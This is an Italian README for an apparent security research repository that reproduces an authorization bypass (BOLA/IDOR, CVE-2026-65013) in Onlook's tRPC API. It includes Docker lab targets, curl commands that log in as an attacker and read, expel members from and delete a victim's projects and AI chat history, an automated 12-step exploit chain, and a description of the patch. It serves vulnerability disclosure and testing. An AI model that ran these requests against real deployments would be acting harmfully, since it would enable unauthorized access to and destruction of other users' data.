
PoC riproducibile BOLA/IDOR contro l'API tRPC di Onlook (CVE-2026-65013), con una catena di exploit in 12 passaggi, target Docker vulnerabili e corretti, e documentazione tecnica.
PoC riproducibile di BOLA / IDOR nell'API tRPC di Onlook (CVE-2026-65013).
Qualsiasi utente autenticato può leggere, modificare e cancellare progetti,
membri e cronologia IA di altri utenti semplicemente passando i loro UUID ai
procedimenti tRPC (versioni <= 0.2.32).
| CVE | CVE-2026-65013 |
| Advisory | GHSA-j6x3-f5cf-2pg4 |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnerabile | Onlook <= 0.2.32 |
| Patch | commit 423e2e9 (PR onlook-dev/onlook#3129) |
| Documento | Contenuto |
|---|
Onlook espone il suo backend tramite tRPC, e i procedimenti ricevono l'id della risorsa direttamente dal client:
project.get({ projectId }) // legge qualsiasi progetto
member.remove({ projectId, userId }) // espelle chiunque
chat.conversation.delete({ conversationId }) // cancella la cronologia IA
settings.get({ projectId }) // settings con API keys
Il problema: la maggior parte non verificava che il chiamante fosse membro del progetto. La connessione a Postgres (Drizzle) era un superutente esente da Row Level Security, quindi il controllo doveva risiedere nel codice tRPC... e lì mancava.
Un helper verifyProjectAccess() esisteva già (applicato a una manciata di
procedimenti, ad es. project.update/delete), ma il resto della superficie
si affidava all'id del client: project.get, member.list, member.remove,
invitation.list, chat.conversation.*, chat.message.*, branch.*,
settings.*, frame.*…
L'autenticazione NON è il problema (il JWT di Supabase funziona). È autorizzazione per oggetto (BOLA/IDOR): l'attaccante usa la propria sessione legittima contro gli id della vittima.
lib/authorization.js contiene gli helper che mancavano (verifyProjectAccess,
verifyConversationAccess, verifyMessagesAccess, verifyBranchAccess,
verifyCanvasAccess, verifyMemberRemoval, verifyInvitationAccess) — l'
equivalente del commit 423e2e9.lib/router.js li invoca solo se enforceAuth è attivato; in modalità
vulnerabile i procedimenti vengono eseguiti senza il controllo (il bug reale).Unauthorized or not found (UNAUTHORIZED), per impedire l'enumerazione dell'
esistenza delle risorse:
docker compose up -d --build
curl -s http://localhost:3000/health # {"status":"ok","fixed":false} → VULNERABILE
curl -s http://localhost:3001/health # {"status":"ok","fixed":true} → PATCHATO
Il Docker avvia il target (vulnerabile e patchato) più un servizio
demo. L'exploitation si esegue dalla tua macchina contro quei target.
curl -s http://localhost:3000/demo/ids # ids del seed della vittima (Alice)
Questo sostituisce il canale reale tramite cui un attaccante otterrebbe gli UUIDs (link di preview condiviso, referrer dei log, inviti…).
TOKEN=$(curl -s -X POST http://localhost:3000/login \
-H 'content-type: application/json' \
-d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')
# 3a. LEGGERE il progetto segreto di Alice (GET, formato input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}
# 3b. ELENCARE membri ed email (pur essendo estraneo al progetto):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# 3c. ESPELLERE Alice (owner) dal SUO stesso progetto (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'
# → {"result":{"data":{"json":true}}} ← (Alice non è più nel suo progetto)
# 3d. CANCELLARE la cronologia IA di Alice:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'
node exploit.js)Esegue i 12 procedimenti della catena (leggere progetto, elencare progetti di Alice, filtrare email, espellere l'owner, elencare inviti, leggere/cancellare cronologia IA, branches, settings con apiKey, frames):
node exploit.js # contro :3000 (vulnerabile) → filtrazioni
node exploit.js --target http://localhost:3001 --expect blocked # contro :3001 (patchato)
Output tipico (vulnerabile):
💥 project.get → FILTRATO
💥 member.remove → FILTRATO (membership altrui cancellata: true)
💥 chat.conversation.delete → FILTRATO (cronologia IA altrui cancellata: true)
...
✅ 12/12 — CVE-2026-65013 CONFERMATA: bob ha letto/cancellato risorse di alice.
Contro il patchato:
🛡️ project.get → BLOCCATO (Unauthorized or not found)
...
✅ 12/12 — Server PATCHATO: lo stesso attacco è stato bloccato.
L'exploitation muta il database in memoria del server vulnerabile: per rieseguirla riavvia quell'istanza (
docker compose restart server).
npm run demo # confronta VULNERABILE vs PATCHATO in processo (senza rete), 12 procedimenti
bash test-local.sh # harness integrale: curl (formato advisory) + exploit vs :3100 e :3101, exit code reale
O in Docker:
docker compose up -d demo
docker logs cve-2026-65013-demo
open http://localhost:3000 # (o http://localhost:3001 per la versione patchata)
Account di demo:
project.getPreviewProjects), stato del
server (vulnerabile/patchato) e superficie tRPC.💥 FILTRATO / 🛡️ BLOCCATO per
procedimento.Il frontend è presentazione: la vulnerabilità vive in
lib/router.jse il flusso manuale con curl del README rimane lo stesso.
.
├── Dockerfile node:22-alpine + deps + app
├── docker-compose.yml server (vulnerable :3000), server-fixed (:3001), demo — stessa immagine, cambia FIXED
├── .dockerignore esclude node_modules
├── .gitignore
├── package.json @trpc/[email protected], @trpc/client, superjson, zod
├── server.js HTTP: /health, /login, /demo/ids, /api/trpc/*, statici (FIXED=env)
├── exploit.js PoC automatizzato (catena BOLA/IDOR di 12 passi)
├── demo.js confronto vulnerabile vs patchato in processo
├── test-local.sh batteria locale: curl (formato advisory) + exploit + exit code
├── lib/
│ ├── db.js base in memoria + seed (UUIDs statici e riproducibili)
│ ├── auth.js token di sessione HS256 (fatti bene di proposito)
│ ├── authorization.js helper del FIX (commit 423e2e9) → "Unauthorized or not found"
│ └── router.js createAppRouter({ enforceAuth }) — la superficie tRPC
├── public/ app "reale" (login, dashboard, console Red Team)
│ ├── index.html
│ ├── styles.css
│ └── app.js client tRPC manuale (stesso wire format dell'advisory)
└── docs/
├── CVE-2026-65013.md documentazione tecnica della CVE
└── ARQUITECTURA.md questo repo spiegato (mappa, wire format, estensione)
Per capire cosa fa ogni riga chiave dell'exploit e come estenderlo a più procedimenti:
docs/ARQUITECTURA.md §8-§9.
Questo materiale è solo per scopi educativi e di ricerca sulla sicurezza. Usa l' exploit unicamente contro applicazioni proprie o con autorizzazione scritta del proprietario. L'uso non autorizzato di questa tecnica contro sistemi di terzi è illegale e il responsabile del suo uso è chi lo esegue.
docs/CVE-2026-65013.md | Tecnica della CVE: root cause (RLS esente + helper mal distribuito), superficie realmente interessata, anatomia dell'attacco, analisi riga per riga del fix 423e2e9, remediation, riferimenti CVE/advisory/PR. |
docs/ARQUITECTURA.md | Del PoC: mappa dei file, wire format tRPC v10+superjson, modello dati, schema VULN vs FIX, tabella dei procedimenti, mappatura PoC ↔ Onlook reale, guida all'estensione, validazione/CI manuale. |
// chat.conversation.delete — vulnerabile (senza controllo) vs patchato:
enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
project.update rimane protetto in entrambe le modalità come "contrasto": dimostra
che l'helper esisteva, solo che era mal distribuito.| Procedimento | :3000 vulnerabile | :3001 patchato |
|---|
project.get (progetto altrui) | 200 + nome/metadata | 401 Unauthorized or not found |
member.list (email altrui) | 200 + email | 401 |
member.remove (espellere l'owner) | 200 true | 401 |
chat.conversation.delete | 200 true | 401 |
settings.get (apiKey) | 200 + settings | 401 |
project.update (contrasto: era già protetto) | 401 | 401 |
| Password | Ruolo |
|---|
[email protected] | alice123 | proprietaria del progetto segreto |
[email protected] | bob123 | l'attaccante |
[email protected] | charlie123 | editor del progetto di Alice |